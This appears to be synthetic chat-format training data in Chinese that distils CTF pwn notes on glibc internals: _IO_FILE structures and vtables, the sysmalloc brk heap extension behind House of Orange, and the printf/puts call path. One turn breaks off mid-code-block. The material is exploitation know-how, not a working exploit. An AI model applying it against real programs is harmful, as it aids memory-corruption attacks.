[Assistant]
## FILE 数据结构
```c
struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
```

```c
struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};
```

结构体成员包括一个用于描述文件各个属性的结构体和一个用于描述文件操作行为的跳转表指针。其中，文件属性通过 IO_FILE 结构体描述：

IO FILE 定义的各种主要结构关系如下图所示：

[图片: Pasted image 20250428001806.png]

`fileops.c`

+ 各种文件结构采用单链表的形式连接起来，通过 `_IO_list_all` 访问。
+ `vatble` 为函数指针结构体，存放着各种 IO 相关的函数的指针。
+ 初始情况下 `_IO_FILE` 结构有 `_IO_2_1_stderr_` ，`_IO_2_1_stdout_`，`_IO_2_1_stdin_` 三个，通过 `_IO_list_all` 将这三个结构。

```c


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「堆扩展逻辑」。
资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 堆扩展逻辑

```c
else {
    void *p = sysmalloc(nb, av);
    if(p != NULL)
        alloc_perturb(p, bytes);
    return p;
}
```

+ 当 ptmalloc 当前堆无法满足用户申请内存时，会调用 `sysmalloc` 向系统申请更多内存。
+ 对于堆，有 `mmap` 和 `brk` 两种分配方式，House of Orange 利用 **brk** 方式扩展堆，然后将原 top chunk 放入 unsorted bin。
+ 需要保证 malloc 尺寸 **小于 mmap_threshold**，否则会使用 mmap 系统调用。

```c
if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))
    // 使用 mmap 申请
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「printf/puts」。
资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### printf/puts
printf 和 puts 是常用的输出函数，在 printf 的参数是以'\n'结束的纯字符串时，printf 会被优化为 puts 函数并去除换行符。

puts 在源码中实现的函数是_IO_puts，这个函数的操作与 fwrite 的流程大致相同，函数内部同样会调用 vtable 中的_IO_sputn，结果会执行_IO_new_file_xsputn，最后会调用到系统接口 write 函数。

printf 的调用栈回溯如下，同样是通过_IO_file_xsputn 实现

```plain
vfprintf+11
_IO_file_xsputn
_IO_file_overflow
funlockfile
_IO_file_write
write
```